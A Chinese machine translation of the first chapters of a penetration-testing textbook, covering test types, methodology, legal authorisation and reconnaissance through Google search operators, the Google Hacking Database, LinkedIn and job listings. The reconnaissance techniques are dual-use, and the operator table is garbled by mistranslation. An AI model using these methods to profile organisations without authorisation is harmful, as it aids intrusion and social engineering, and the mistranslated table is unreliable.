渗透测试基础-全-

渗透测试基础(全)

原文:Penetration Testing Basics

协议:CC BY-NC-SA 4.0

一、什么是渗透测试?

渗透测试是一门艺术。你可以学习很多技术,了解所有的工具,但现实是软件是复杂的,尤其是当你开始把很多软件系统放在一起的时候。正是这种复杂性意味着,在寻找进入系统的方法时,不存在放之四海而皆准的解决方案。对一台 Web 服务器有效的攻击可能对运行在不同系统上的同一台 Web 服务器无效。有时,在某个特定的攻击突然开始起作用之前,你可以尝试多次而不成功,然后你就找到了侵入系统的方法。一个熟练且成功的渗透测试人员不仅拥有运行工具和理解正在发生的事情所必需的技术技能,还拥有尝试不同方法所必需的创造力。

你可能会听到渗透测试被称为道德黑客。事实上,有一些专业认证的名称中包含了道德黑客。它们本质上是一样的,尽管道德黑客在名称中包含渗透测试没有的成分。道德是渗透测试的一个重要组成部分。毕竟,这个名字已经说明了一切。您正在测试是否可以穿透系统和网络防御。如果你能渗透进去,你就获得了某种程度的接触。在正常运营过程中,这可能是您可能没有的访问权限,这就是道德的用武之地,尽管在现实中,道德成分更多的是法律要求。

美国和许多其他国家的法律规定,未经授权访问计算机系统和网络是非法的。一旦你获得了渗透测试的权限,你就违反了法律。当然,除非你得到许可。虽然您可能没有相关系统的帐户,这是显式授权,但您应该始终拥有执行测试的权限,这是获得系统访问权限的隐式授权。这种许可是至关重要的,你可能有时会听到它被称为“出狱自由”卡。虽然从技术上来说,这更像是一张“远离监狱”的卡片,而不是一张“走出监狱”的卡片,但你不想忽视的一个词是“监狱”。如果你认为你在帮某人测试他们的网络或应用程序安全,并且当你发现一个严重的漏洞时他们会感谢你,那么请再想一想。即使在几年前,当每个人都不太担心计算机安全时,这也不是由受人尊敬的专业人士做的。执行任何类型的渗透测试或使用我们将要审查的工具来对付您不同意接触的系统,都有可能让您锒铛入狱。

闯入系统可以是有趣和令人兴奋的,有些人真的发现解决难题和进入有点高。然而,有很多方法可以在不测试其他人的系统的情况下获得经验。使用 VirtualBox、VMWare 或 Parallels 等虚拟机软件,您可以在一台计算机系统上安装多个操作系统。事实上,我强烈建议启动并运行一些虚拟机,这样您就可以尝试一些我们将介绍的技术。至少,您可能希望安装 Kali Linux 和 Metasploitable 2 的副本。Kali Linux 是一个曾经被称为回溯的 Linux 发行版。它包含了许多默认安装的安全工具,可以用来对发行版中的内容进行渗透测试。Metasploitable 2 是 Linux 的一个实现,它被设计成可利用的。它包括易受攻击的各种服务版本,可在漏洞框架 Metasploit 中获得。复制一个旧的 Windows 安装也不是一个坏主意,只是为了看看 Windows 攻击是什么样子的。

信息安全

为什么我们要进行渗透测试?最终,渗透测试人员的目标是帮助组织提高防御能力,以防真正的攻击者闯入并窃取信息。这种信息可以以多种形式出现。就企业而言,它可能是知识产权。这是企业赖以将其与其他公司区分开来的任何信息。这可能是专利、源代码或任何其他关于业务如何运行的文档。其他形式的数据包括银行信息、信用卡号、社会保险号、用户名、密码,尤其是任何与医疗保健相关的数据。攻击者可能试图窃取其中的任何信息,因为这些信息可能被出售或用于获得对其他系统的额外访问权限。

你会发现我几乎避免使用任何形式的 hack 这个词。黑客技术有着悠久而传奇的历史,比它在计算机上的应用早了几十年。当我开始使用电脑时,黑客意味着用电脑做一些非常酷和有趣的事情。黑客攻击的结果就是黑客攻击。这些天来,hack 和 hacking 显然是想暗示一些别的东西,但媒体使用这些词的方式非常模糊,它掩盖了真正发生的事情。在大多数情况下,当你在新闻中听到“黑客”时,你听到的是犯罪。我发现最好把犯罪叫做犯罪。如果我们谈论的是犯下这一罪行的人,我们谈论的是罪犯。为了清楚起见,你会看到攻击者或对手这两个词。这些人试图闯入你的系统。你会看到单词 attack 用来表示他们在做什么。重要的是要记住,这些人的所作所为一点也不可爱或迷人。他们经常有充足的资金和良好的组织,他们的活动是作为一种商业运作,因为他们从中赚了很多钱。对待他们就好像他们有武器,很危险,因为他们就是。

组织将花费大量时间和资源来保护自己免受这些攻击。他们将实现防火墙来阻挡攻击者,并实现入侵检测系统,以便在有人通过防火墙时有希望捕捉到。他们还将在组织内实现程序,以保护自己免受内部攻击,这种攻击也很常见。这可能包括对强密码或多因素身份验证的要求,这可能要求用户除了使用用户名和密码之外,还必须携带某些东西,甚至使用指纹之类的东西。

组织试图防范的是漏洞。漏洞是系统中的弱点。然而,系统是一个非常模糊的术语。在这种情况下,通过使用“系统”一词,我们不仅谈论使您的计算机有用的操作系统和应用程序,而且在更大的范围内,还谈论整个企业网络中的所有计算机和网络设备。组织将试图找到它的弱点或漏洞,并消除或减少它们。试图消除或减少漏洞的过程称为补救。当您试图降低被利用的漏洞的影响时,您就是在减轻影响。因此,在管理漏洞的过程中,您会听到缓解和补救这两个术语。

当你利用一个漏洞时,你就是在利用它。随着我们的继续,您将会看到对漏洞利用的引用,这些漏洞利用是特定的技术,甚至是旨在利用特定漏洞的软件。利用漏洞的目的可能是获得系统级访问权限,这意味着攻击者可以看到甚至控制文件、用户和服务。其中一些操作需要比普通用户更高的访问级别。在 Windows 系统上,你会说你有管理员权限。在 Linux 或类似 Unix 的系统下,你可以说你有根用户或超级用户权限。root 用户是类 Unix 系统(包括 Linux)上的默认管理帐户。如果您是 root 用户,您可以在系统上做任何事情。如果您是 root 用户,而有些操作您无法执行,那么可能是出了问题。

当我们谈论信息安全和漏洞管理时,最后要回顾的是概率和影响的概念。在评估漏洞时,安全专家通常会考虑两个因素。首先是概率。这通常会被定性为低、中或高。它指的是特定漏洞被利用的可能性。如果有可用的概念验证代码,或者如果有广泛可用的漏洞(“在野外”),可能性可能非常高。如果您有额外的缓解措施,例如您必须在本地网络上而不是远程网络上才能利用该漏洞,您可能会认为这种可能性较低。进行这种评估和分类通常需要知识和经验的结合。

另一个需要了解的重要因素是影响。如果漏洞被触发,就会发生这种情况。如果利用漏洞导致应用程序崩溃,但它马上恢复,这可能是一个低影响的利用。另一方面,如果它导致远程攻击者对您的系统进行未经授权的管理访问,影响会很大。如果它导致对业务的关键或敏感信息的破坏,您也可以说它是高影响。虽然这可能比概率更容易衡量,但仍然需要大量的知识和经验才能做到准确。

为了让某人关注某个特定的漏洞,对影响和概率进行高评级可能很有诱惑力,但你很快就会失去可信度。没有必要绝对修复每个漏洞。确保最关键的问题得到最多的关注要重要得多。诚实并以事实为基础,你会确保你的意见有意义。

最后要注意的是。我们一直在谈论信息安全,这是一个你会经常听到的短语。目标是保护组织的信息资产。但是,攻击者可能不关心您的信息资产。他们可能更关心你的计算资产。换句话说,他们可能只是希望收集一个系统,并将其添加到为他们执行任务的系统网络中。这是一个非常有利可图的行业,所以不要因为你是一个小组织就认为你不是目标。你是。尤其是如果你很容易被选中的话。你的系统和它们的计算能力与那些知名大公司的一样好,如果它们很容易被侵入就更好了。

渗透测试的局限性

渗透测试是寻找漏洞并试图利用它们。但是,有些人和组织可能倾向于认为所有的漏洞都可以被快速利用。事实上,如果做得好,渗透测试可能是一个非常耗时的操作,为了执行测试,您通常只有非常有限的时间。如果组织正在寻找大爆炸,一个给你带来大量数据的大利用,那么一些害羞的东西可能会被视为他们是安全的迹象。事实上,没有什么比这更偏离事实了。

如果你或你工作的组织对目标缺乏远见,你将会以糟糕的结果告终,或者更糟的是,会给组织提供一个错误的安全感。如果你只发现小东西,你没有达到你的渗透目标。如果你没有渗透过任何系统,或者没有以任何显著的方式渗透过任何系统,这可能会被视为该系统或应用程序不能被渗透的标志。这意味着,在大量系统上花费时间的情况下,你无法穿透它。重要的是要记住,公司的对手是有动机的,并且通常在很长一段时间内是有耐心的。如果你是他们的目标,他们会在比你做渗透测试更长的时间内不断攻击你。

通常,渗透测试甚至在开始之前就可能因为实现的规则和约束而瘫痪。例如,我曾经参与过一些项目,其中客户不希望接触特定的系统和网络,因为他们知道这些系统和网络很脆弱。排除已知易受攻击的基础设施的测试不能完整或准确地表示组织的安全状况或它们有多易受攻击。如果在没有附加信息的情况下孤立地使用该报告,它会产生误导。

专注于渗透行为可能不会给你正在工作的公司带来很多好处。相反,执行安全评估可能更好。这在一定程度上是一种渗透测试,但它不仅限于您能够快速侵入的组件。您可能无法在有限的时间内找到问题。这并不意味着没有需要解决的问题。举个例子,虽然这是非常非常容易实现的,但我们经常看到 Web 服务器不仅提供软件名称,还提供版本。有时,甚至是 Linux 内核版本,如果它在 Linux 系统上的话。Windows 系统有时会提供运行 Internet Information Server (IIS)的 Windows 版本的详细信息。虽然这些可能不是可怕的问题,但它们为攻击者提供了太多的信息。当然,他们也许可以通过其他方式找到这些信息,但是为什么要让他们的工作变得更容易呢?让他们为得到的每一点信息而工作。当关闭一些泄漏点非常容易时,尤其如此。关闭从 Web 服务器公开版本号的功能只需要几分钟的时间。几乎没有理由不花几分钟来加强警戒。

如果您正在进行渗透测试,这种类型的发现不会得到很多分数。然而,安全评估完全是另一回事。安全评估的目的是尽可能真实完整地评估公司的安全状况。您可能会在安全评估中发现比渗透测试中多得多的项目。在渗透测试中,你可能不会与目标合作。如果目标在寻找支撑防御的方法,这通常是一个错误。是的,你可以测试操作响应能力,你可以感觉到一个人在没有任何内部帮助的情况下可以走多远,但是如上所述,这是一种错误的安全感。同样,发现某人在工作三天后无法进入并不能告诉你任何关于你对一个连续几周夜以继日工作的坚定攻击者的准备情况。

安全评估是安全专家和目标之间的合作。这通常是全知识渗透测试,以及渗透测试人员可能永远不会看到的配置和设置的审查。这是有价值的,原因有二。第一个是因为攻击者会不停地戳戳戳,直到某样东西最终屈服。第二,一些攻击发生在内部。这些人将了解其中一些设置,并能够利用它们。安全评估可以发现更有价值的信息,只需向第三方公开日常业务,第三方不会关注日常事务,对问题视而不见,因为“这就是这里的工作方式”执行安全评估的安全专业人员可以对所发现的问题进行客观分析,以便管理层确定问题的优先级并加以解决。

测试类型

第一种叫做黑盒测试。这有点像传统的渗透测试,但在极端的一端。黑盒测试意味着测试人员除了知道目标是谁之外,对目标一无所知。攻击者可能不知道 IP 地址、域名或任何东西。这需要事先收集大量情报。这可能是一个非常有价值的练习,因为一个公司应该总是知道他们向外部世界泄露了多少可以用来攻击他们的信息。信息收集将占用大量时间,因此确保为此安排时间非常重要。你不会想在分配给你的四天中抽出两天时间来收集信息,这样你就可以开始实现攻击了。

当有人正在执行全面的黑盒渗透测试时,这可能是测试响应能力的好机会。在这种情况下,你可能有一个红队,有时也被称为老虎队。红队是攻击队。他们是想进来的人。在内部的人,不管他们是否意识到它正在发生(有时操作人员不知道,以便获得真实的反应能力),都被称为蓝队。你也可能有一个白人团队,他们知道这个等式的两端。这在比赛中更常见,然而,在这种情况下,白队完全是中立的,并管理比赛。

如果你有兴趣参与渗透测试的实践,并且你想以一种安全的方式完成它,这也是很有挑战性的,网上有很多比赛。这些有时被称为夺旗竞赛或网络防御竞赛。有时你在团队中工作,但也有挑战,你可以独自解决一个特殊的难题进入一个系统。

另一方面,更接近前面提到的安全评估的是白盒测试。这一般都是全知识。攻击小组与目标紧密合作。这可能需要提前建立凭证。这允许测试人员执行完整的本地(系统上)评估,而不必在检查本地设置之前进行渗透。你可能拥有外表看起来非常坚硬的系统,但是一旦系统破裂,它的内部就会变得柔软、黏糊糊。这可能是一个巨大的问题,所以检查本地强化和远程强化是有帮助的。运营团队通常会得到通知,并与攻击团队合作,以确保测试不会对客户造成影响。

在黑色盒子和白色盒子之间是灰色盒子。这是一个灰色地带,这听起来并不夸张。每个灰盒测试可能不同,因为它介于黑色和白色测试之间。一种常见的方法是预先提供所有的初始参数。这将是考虑使用的 IP 地址和主机名。这样,红队就不用花时间去搜寻这些信息了。这种方法还有一个好处,就是限制对明显超出范围的系统的影响,如果是真正的黑盒测试,这种情况可能会意外发生。考虑到这里可能发生的各种活动,让无辜的旁观者置身事外是很重要的。

理想情况下,确定你计划如何接近应该基于你所拥有的时间量和客户真正想要完成的事情的交集。你可以做的不同类型的测试总是有所取舍,所以你应该告诉客户或你的雇主在给你的时间内你可以做什么。如果他们担心一旦有人进入后会发生什么,白盒测试可能是最合适的。如果他们真的想了解他们对事故的反应,你可以使用黑盒测试。黑盒测试通常会在侦察上花费大量时间,而在实际测试上花费较少的时间。有时灰箱测试提供了最好的平衡,但这是你需要确保与客户沟通的事情。

通常,测试在生产环境中进行。这为实时系统中的防御措施提供了最佳思路。然而,这是有风险的。一些公司可能更喜欢在受保护的实验室环境中进行一些测试,以避免对实时系统造成任何影响。这样做可能是为了确保企业能够继续获得客户,但如果担心测试结果会导致数据损坏或泄露,也可以这样做。根据具体情况,这两种情况都是有效的,但您必须确保实验室环境尽可能真实地反映真实环境,否则一开始就进行测试就是浪费。

谁做钢笔测试

这确实是一个棘手的问题,你可以从几个不同的角度来探讨它。首先,你可能想知道从事这项工作的是什么类型的人。这可能归结于他们所拥有的知识或技能的类型。仅仅因为你是安全专家并不意味着你会是一个好的渗透测试者。如果你是一名防火墙管理员,从技术上讲,你应该是一名安全专家,但是你可能不擅长做渗透测试工作。这并不意味着你不擅长,但这两者并不自动携手并进。

就我个人而言,我认为它与技术技能关系不大,因为这些技能总是可以被教授或获得的。擅长渗透测试的人很可能是非常好奇的人。这是一个不允许事物停留在表面价值的人。作为其中的一部分,他们也将是持久的。他们希望对某件事有更多的了解,并持续关注某个特定的问题或挑战,直到他们解决了它或用尽了所有的可能性。渗透测试人员还需要一定的创造力。这是因为你需要一个能从不同角度解决问题的人,而不是第一次尝试就止步不前。

如果你想从内部找人替你做测试,解决这个问题是很重要的。这就带来了一个重要的问题:是使用组织内部的人还是外部的人。如果你使用外部组织,你会得到客观性的好处。外面的人不知道事情的运作方式,所以他们可能不会做出假设。每当执行渗透测试的人开始做假设时,他们就冒着遗漏许多漏洞的风险。如果你继续一次又一次地使用同一个外部测试器,同样的情况也会发生。结果就是太熟悉了。举个例子,几年前我有一个客户。在早期的一些测试过程中,我在做一些非常基本的扫描时无意中导致了一个系统失败。这个系统显然比我们任何人想象的都要脆弱得多,但那次经历最终影响了接下来几年的许多后续测试。我们总是很小心自己的攻击性。这包括外部团队和内部团队。

然而,使用内部人员意味着无论何时你需要他们,理论上你都有可以支配的人,并且你可以做大量的增量测试。然而,和其他事情一样,这也有优点和缺点。如果你对某件事看得太多,你可能会错过一个改变,因为你开始假设太多。此外,除非你可以付钱给那些唯一目的是执行这种测试的人,否则如果你经常使用他们来进行渗透测试,你就会失去那些可能有其他事情要做的人的生产力。

在找人执行渗透测试方面,有很多事情要考虑。如果你自己也想成为一名渗透测试员,考虑到你正在阅读的内容,准备花一些时间学习基本的渗透测试实践,以及如何构建复杂的 IT 系统,包括编程语言、数据库和系统管理。这些都会帮助你成为一个更好的渗透测试者,更深刻地理解你在做什么。这会让你更吃香。你的工具包越大,越多的人会想利用你。

方法学

在执行安全性测试时,有许多方法可用。你可以去找一个你喜欢的,无论是深度的还是非常简单的。你可以发展你自己的,一旦你开始掌握你正在做的事情,你可能就想这么做。出于我们的目的,我们将使用一个非常简化的框架。当你开始做你自己的渗透测试时,无论你使用什么方法学并且你将需要使用某种方法学你将想要与你的客户或雇主交流那种方法学。

使用方法的原因是为了证明你所做的是可重复的。你不只是在黑暗中开枪。你真的想通了你在做什么。提供你的方法论,在一个高层次上,表明你正在使用一个文档化的过程,即使你在每一个单独的时刻都是凭感觉飞行。提供方法通常会给你的测试和结论更多的权重。如果我只是提供一堆结论,而他们不知道我是如何得出这些结论的,整个事情可能更难接受。就像你在上数学课一样。展示你的作品。

我们将在本书中使用的方法是我在与客户合作时使用的常用方法的修改版本。它将允许我们直接进入渗透测试的核心部分。也就是说,这种方法有所简化。随着您继续工作,将会出现许多我们不会涉及的领域,包括以下内容:

  1. 情报收集——这是针对你的目标的侦察工作,根据交战前你获得的信息多少而有所不同。即使向您提供了整个范围,您也可能想要执行一些侦察,以便您可以向客户提供从信息泄漏角度来看他们暴露程度的指导。
  2. 扫描——这是不同层次的侦察。在你开始决定你的攻击策略之前,你需要知道你的目标是什么。这将为您提供大量关于系统和端口的信息,以及可能存在的任何防火墙的信息。这也是您可能需要小心的地方,这取决于您正在执行的测试级别。这可能是一个非常嘈杂的步骤,因为你在这里开始与目标直接接触。这可能对客户有用,看看他们是否能检测到扫描作为支撑他们防御姿态的一部分。
  3. 漏洞识别–一旦您确定了一些目标系统和应用程序,获得已知漏洞的列表将告诉您可以快速轻松地进入哪些地方。您可以使用多种技术来执行此步骤。其中一些可能是自动化的,但其他的将非常手动。
  4. 利用——您发现的漏洞会导致您被利用。这是您通过利用您发现的漏洞实际上开始渗透系统的地方。这一步可能非常耗时,也令人心碎,因为漏洞并不总是导致系统受损。一些漏洞很难被利用,而另一些漏洞可能无法利用。在这一阶段,您可能会发现许多误报,漏洞被识别出来,但预期的利用并没有起作用。
  5. 报告——一旦你完成了,一定要清楚地记录下你的所有发现,这样你就有一些具体的、连贯的东西可以呈现给你的雇主或客户。这个阶段是必不可少的。尽管做前四步很有趣,但是如果你没有做好这一步,你就不会再被邀请去玩了,而且消息可能最终会传开,这样就没有人会邀请你去玩他们的玩具了。花时间学习写一份好的有效的报告。

实际上,这些阶段中的一些可能会被压缩,这取决于你工作的时间。您可能会发现使用的一些自动化工具可以在一个步骤中完成大部分工作。然而,不要依赖自动化工具。永远要仔细检查你的结果,不要假设他们总能找到漏洞,或者他们找到的漏洞总能被利用。这就是为什么分开做所有这些工作总是一个好主意,即使你有一个工具可以同时做一堆事情。事实是,虽然各种方法被设计来模拟攻击者的行为,但攻击者并不总是遵循这些步骤。他们可能只是简单地进行端口扫描或端口清扫,然后在发现可能易受攻击的开放端口后发起攻击。绝大多数情况下,盲目发动攻击几乎是没有成本的。

摘要

任何人都可以成为渗透测试员。好的渗透测试人员需要经验和知识,就像擅长其他职业的人一样。尽管渗透测试是一种高度技术性的职业,但它也是一门艺术。这是因为某一天有效的东西第二天可能就无效了。软件是复杂的。能够处理每天的差异并适应这些差异是工作的重要部分,也是使其成为一门艺术的重要部分。在每一次渗透测试中,从来没有一个清晰的分步过程。你必须有点创造力,非常坚持,非常有弹性。耐心和坚持会让你走向成功。

当你准备成为一名渗透测试员时,你应该牢记期望的道德义务。如果你只是想走出去,闯入系统而不考虑法律,你当然可以这样做。但这并不意味着你就是渗透测试者。这会让你成为一名罪犯,而且你很有可能再也不会自由了。总是,总是从你的目标那里得到关于你应该做什么的完全一致的意见。在你学习的过程中,要么找一个非常理解和宽容的人或组织,让你在他们的系统上尝试一些东西,或者,更好的是,给你自己找一个你可以使用的小型实验室系统。有许多方法可以做到这一点。最便宜的方法是获得一个内存很大的系统,然后构建虚拟机。这个不一定很贵。几乎任何一台现代电脑都能满足你的需求。然后你可以得到像 VirtualBox 这样的免费软件来托管你的虚拟机。

当您开始进入渗透测试时,请注意您正在遵循的步骤。当你习惯于遵循一个相当有规律的程序时,你就发展了你的方法。记录下来可能会有帮助。您可能希望在为您的雇主或客户生成的报告中使用您生成的文档。教育你的客户会改善你和他们的关系,让他们物有所值,并且清楚地展示你的价值。许多渗透测试人员提交的报告强调了他们能够做的一切,却没有清楚地解释发生了什么或者可以做些什么。提供清晰完整的文档也将确立你正在遵循一个过程,而不是对你正在做的每件事都信口开河。

练习

  1. 如果您对 VirtualBox、VMWare 或 Parallels 更熟悉,可以购买它们的副本。在您的系统上安装它。您可以从 http://www.virtualbox.org 获得 VirtualBox。这将是一个简单的安装,除了接受任何提示的默认值之外,您不需要做任何事情。
  2. 获取 Kali Linux 的副本。这将是一个。将用于将 Kali 安装到虚拟机中的 ISO 映像。您可以下载当前的。ISO 出自 http://www.kali.org 。VirtualBox 将允许您从安装新的操作系统。您下载的 ISO 映像。同样,Kali 的安装应该相当简单。接受安装中的缺省值,因为缺省的 Kali 安装将使您达到我们的目的。
  3. 获取 Metasploitable 2 的副本。有不同的地方可以得到这个。你应该使用谷歌、必应或者你最喜欢的搜索工具来寻找下载它的地方。这将是我们将要做的一些事情的一个很好的目标。这不需要安装。这是一个 VMWare 映像,您应该能够在任何虚拟化软件中打开它,包括 VirtualBox。

二、挖掘信息

我们征服系统的第一步是挖掘目标的信息。幸运的是,在我们生活的这个互联时代,如果你知道如何以及在哪里寻找,有很多信息可以在网上的某个地方找到。信息的容易获得意味着有很多信息是容易获得的。当然,所有这些容易获取的信息都存在隐私问题,但目前我们并不关心隐私。事实上,我们将感谢自由流动的信息,你会发现你可以访问,而不必诉诸任何诡计,欺骗,或违反法律。甚至没有任何潜在的违法行为。在信息变得如此自由和容易获得之前,你可能知道翻垃圾箱和其他获取信息方式的故事。这种策略几乎完全没有必要。

首先,你有谷歌。除了可以通过谷歌获得难以置信的海量信息之外,还有很多技术可以用来改进你的搜索。谷歌提供了多种方法,可以非常准确地找到你要找的信息,这样你就不会费力地浏览大量页面,只为了找到你要找的那一条信息。在你寻找针的时候,你可以把它想象成一个自动干草过滤器。虽然谷歌黑客,如其名,非常强大,但它并不完美。你可能仍然需要做大量的手工过滤和阅读。

除了谷歌,还有很多网站可以用来收集目标的信息。社交网站通常是获取信息的好地方,当然工作网站也是很好的信息库,尤其是在收集你的目标的技术信息时。根据你正在工作的公司的了解程度,你可能会找到大量的信息,这些信息也存储在非常公开的地方。

虽然互联网大部分是分散的,但也有一些情况下存在中央信息库。这些存储库被称为区域互联网注册中心(rir),它们在获取企业信息方面非常有用。这可能包括有关分配给企业的域名注册和 IP 地址的信息。一般来说,这是公开信息,尽管一些细节,特别是与域名注册相关的细节可能会被掩盖。不过,说到 IP 地址,都是公开的。挖掘这些存储库有时会发现有用的信息,包括联系数据。

使用所有这些网站和策略的组合,你将能够收集关于你的目标的大量信息。

谷歌黑客

谷歌黑客这个词听起来非常酷,在某些方面确实如此,其应用远远超出了我们所谈论的范围。然而,尽管名字如此,这绝不是对谷歌的攻击。相反,这是一种使用谷歌在其搜索引擎中实现的大量关键词的方式,以帮助您获得尽可能窄的结果。从你的搜索中返回 1589341 页的日子已经一去不复返了。相反,你可以通过不同类型的搜索得到非常非常具体的信息。这被称为谷歌黑客,但实际上,其他搜索引擎已经实现了许多相同的关键字。如果你真的喜欢另一个搜索引擎,而不是谷歌,你应该试试这些,看看他们是否在那里工作。表 2-1 显示了谷歌引入的允许你缩小搜索范围的关键词。

表 2-1。

Google Hacking Keywords

操作员 描述
给予称号 在标题中查找搜索词
第七 仅在标题中查找搜索词,而不在文档的其他地方查找
伊努埃尔 在 URL(地址)中查找搜索词
阿力努勒 类似于 allintitle,只在 URL 中查找搜索项
螺纹类型 您提供文件类型和搜索条件。所有结果都具有该文件类型。
allintext 搜索将不会看网址,只是在文本中。
位置 把你的搜索范围缩小到一个特定的网站。你必须提供网站以及搜索词。
搜索指向页面的链接
金融家 此搜索将只在锚定标签中查找
numrange(数字范围) 搜索数字
日期范围 结果将在指定的日期范围内
作者 在谷歌群中搜索特定作者。这只适用于谷歌群组。
查找组名。这只适用于谷歌群组。
在主体中 搜索帖子中的主题行。这只适用于谷歌群组。
msgid 在组内搜索消息 ID。

谷歌不仅仅是网页搜索引擎。它还用于搜索图像、群组和新闻。谷歌托管群组,类似于邮件列表或旧的新闻组群组。它们可以只在网上使用,但也可以和电子邮件一起使用。此外,谷歌将允许你搜索新闻。这是一种获取谷歌定义的新闻信息来源集合的方式。如果你想知道某个突发事件,你可以搜索谷歌新闻来找到相关信息。

正如你可以从关键词中看到的,你可以开始真正缩小你的主题。作为一个例子,你可以在图 2-1 中看到一个搜索,该搜索旨在查找microsoft.com站点上所有包含 Microsoft Windows 字样的 Excel 电子表格。为了完成这个特定的搜索,我们使用了filetypesite关键字。

A417535_1_En_2_Fig1_HTML.jpg

图 2-1。

Google hacking keywords

当然,除了微软网站上的一系列 Excel 电子表格之外,还有许多更有用的搜索可以让你获得更多有趣的信息。你可以寻找包含目录列表的网站。大多数网站应该关闭目录列表,因为管理员不希望您直接访问那里的所有文件。他们可能会使用一些作为背景文件,这些可能包括密码之类的东西。对于任何配置文件来说尤其如此。

对于服务器负责的每个站点,Web 服务器都有一个根目录或文件夹。从该 Web 服务器提供的所有页面都在该根目录或文件夹下。Web 服务器使用索引页,这意味着如果没有请求特定的页面,就会自动提供特定的页面。如果没有索引页,并且服务器配置为允许索引页,这种情况并不常见,服务器将显示目录中所有文件和文件夹的列表。

为了定位打开了目录列表的网站,我们转向使用另一个关键字intitle。当网站显示给定目录中的文件列表时,通常会在页面标题中加入“索引”字样。因此,如果我们使用intitle关键字并查找“Index of ”,我们应该会返回打开了目录列表的页面。您可以更进一步,寻找特定的文件类型。例如,如果目录列表中有一个.txt文件,这可能会引起特别的兴趣。这可能包括robots.txt文件,该文件可能包括 Web 管理员不希望搜索引擎查看的所有文件的列表。这样做的原因通常是这些文件中包含敏感信息,因此网站所有者不希望它们被轻易找到。

如果你发现自己在搜索有趣的东西时不知所措,你可以去谷歌黑客数据库(GHDB)。在撰写本文时,它位于 https://www.exploit-db.org/google-hacking-database/ ,尽管考虑到互联网的流动性,该 URL 可能会随着时间的推移而发生变化。找到它的最好方法是用谷歌快速搜索。谷歌黑客数据库是一个有趣的搜索库,可以用来找到各种各样的结果。在图 2-2 中,你可以看到可以找到的搜索类别。你可以做很多事情来寻找属于“物联网”的各种设备。你可以找到网络摄像头,寻找应用程序给出的特定错误信息,找到易受攻击的系统,并使用谷歌黑客进行许多其他非常有针对性的搜索。这是一个很好的起点,如果你的创造力有一点点被挖掘,你要去哪里进行搜索。

A417535_1_En_2_Fig2_HTML.jpg

图 2-2。

Google Hacking Database categories

GHDB 包括了很多固定的搜索词,不用你自己想就能使用。当然,虽然数据库中有很多诱惑,但是请记住,您只是在与签订了服务合同的客户打交道。开始玩登录门户之类的东西,看看您可以用一些默认用户名和密码完成什么不仅是不道德的,而且如果它超出了您的参与范围或针对您无权访问的网站进行,也可能被视为非法。一如既往,小心行事。为客户工作时,添加site:关键词,在客户领域内专门寻找这些问题是很重要的。记住使用 site:关键字将你的搜索限制在你的客户范围内将有助于你远离麻烦。

当你将一些与谷歌黑客相关的技术与你从其他来源获得的信息结合起来时,你也许能够发现一些漏洞。一个很好的例子是,您可以在搜索词中使用site :标记,比如错误消息,来识别目标公司基础设施中的漏洞。对于 Web 应用程序来说尤其如此。易受攻击的 Web 应用程序通常会生成特定的错误消息。您可以在属于您的目标的网页中搜索错误消息的实例。“谷歌黑客”可以通过查看是否有错误出现在属于你的目标网站的抓取中来节省你的大量时间。

使用谷歌提供的关键词可以给你一些非常有针对性的结果。这些术语中的许多可以组合起来,使您的搜索变得非常强大。如果你有兴趣了解更多或者得到一些如何使你的谷歌搜索更有效的想法,谷歌黑客数据库是一个很好的资源。你可能还会发现,有些关键词在其他搜索网站上也适用。

网络社交

谷歌并不是唯一能获得大量有趣信息的地方。在社交网站上可以找到很多东西。如果你做一些明智的搜索,作为一个大的公共论坛,Twitter 可能真的很有帮助。如果你有一个特定的客户,进行如图 2-3 所示的搜索。这个特定的示例搜索很无聊,而不是寻找可能包含潜在可利用信息的东西。这本书的出版商只需演示这一过程。如果你正在与一家公司合作,你可能会发现他们张贴工作列表或参考他们正在寻找的特定技能。可能会有一些有用和有趣的帖子与他们内部正在进行的事情有关,任何这些信息都有可能在将来被使用。技术信息永远是黄金,就像他们参考的任何员工技能或与他们合作的任何供应商一样,但可能会有许多其他参考资料可用于以后的社会工程攻击。

A417535_1_En_2_Fig3_HTML.jpg

图 2-3。

Twitter search results

Twitter 并不是唯一一个可以被搜索信息的社交网站。脸书是另一个这样的网站,虽然它有一系列的权限设置,这可能比 Twitter 更难找到信息。曾经有一个公共应用编程接口(API ),任何人都可以用它来查询脸书的信息。这已经被关闭了。为了得到任何感兴趣的东西,你必须有一个有适当权限的帐户。换句话说,如果你正在寻找一个特定人的帖子,而这些帖子被设置为只对朋友开放,你必须成为那个人的朋友才能获得信息。企业可能会公开帖子,但可用的 API 和信息远不如过去那样开放。虽然 API 通常只用于查询公开的帖子,但你可能会惊讶地发现,有多少帖子是由那些完全不懂的人公开的。几年前,一个年轻人自己写的网站weknowwhatyouredoing.com,收集了一些与吸毒和说你公司坏话有关的状态。他之所以能够做到这一点,是因为脸书发布了公共 API。该网站已不存在,因为公共 API 已不存在。

公共 API 不再存在的事实并不意味着你不能连接到脸书,自己浏览一下。脸书的好处是没人能看出你在偷偷摸摸。LinkedIn 就不能这么说了。LinkedIn 也是一个社交网站,但不像脸书那样主要是个人性质的,它更侧重于商业。随着时间的推移,LinkedIn 增加了其他社交网站的各种功能,包括状态更新。这些状态更新可以提供许多有用的信息,有时包括带有一组简短要求的工作可用性。

与其他社交网站不同,LinkedIn 的一个缺点是,如果你访问某人的 LinkedIn 个人资料,他们会收到你访问过的通知。这可能是也可能不是你想要的。然而,LinkedIn 提供了丰富的信息。它或多或少是一个非常公开的来自世界各地的简历库。和简历一样,LinkedIn 的个人资料中包含了很多工作职责的详细信息,这些信息会在他们的工作经历中显示出来。如果您可以看到某人在某家公司工作的技术列表,您就可以确定该公司正在使用的基础架构的类型。你可以在图 2-4 中看到一个例子。这是一家公司的员工写的,该公司在网络中使用了 Juniper 和 Cisco 设备。他们还使用了北电的设备。从这个列表中,我们可以确定我们可以寻找漏洞的系统类型。这可能会为我们提供进入网络的途径。

A417535_1_En_2_Fig4_HTML.jpg

图 2-4。

List of technologies from LinkedIn

LinkedIn 的伟大之处在于,与脸书等其他社交网站不同,信息是公开的。如果人们可以看到彼此和他们所做的事情,LinkedIn 的效果最好。这是寻找潜在雇主或了解更多潜在雇员、供应商或合作伙伴的好方法。这是一个很棒的网站,原因有很多。然而,在定位基础设施信息时,LinkedIn 并不是唯一的来源。任何工作地点都可以使用。在图 2-5 中,您可以看到一个未指定公司的安全工程师职位的一小部分工作列表。这份工作列表告诉我们,该公司在其网络中使用 Cisco,并且也与 VMWare 合作。这两个事实都可以在你寻找目标信息时使用。

A417535_1_En_2_Fig5_HTML.jpg

图 2-5。

Job Listing

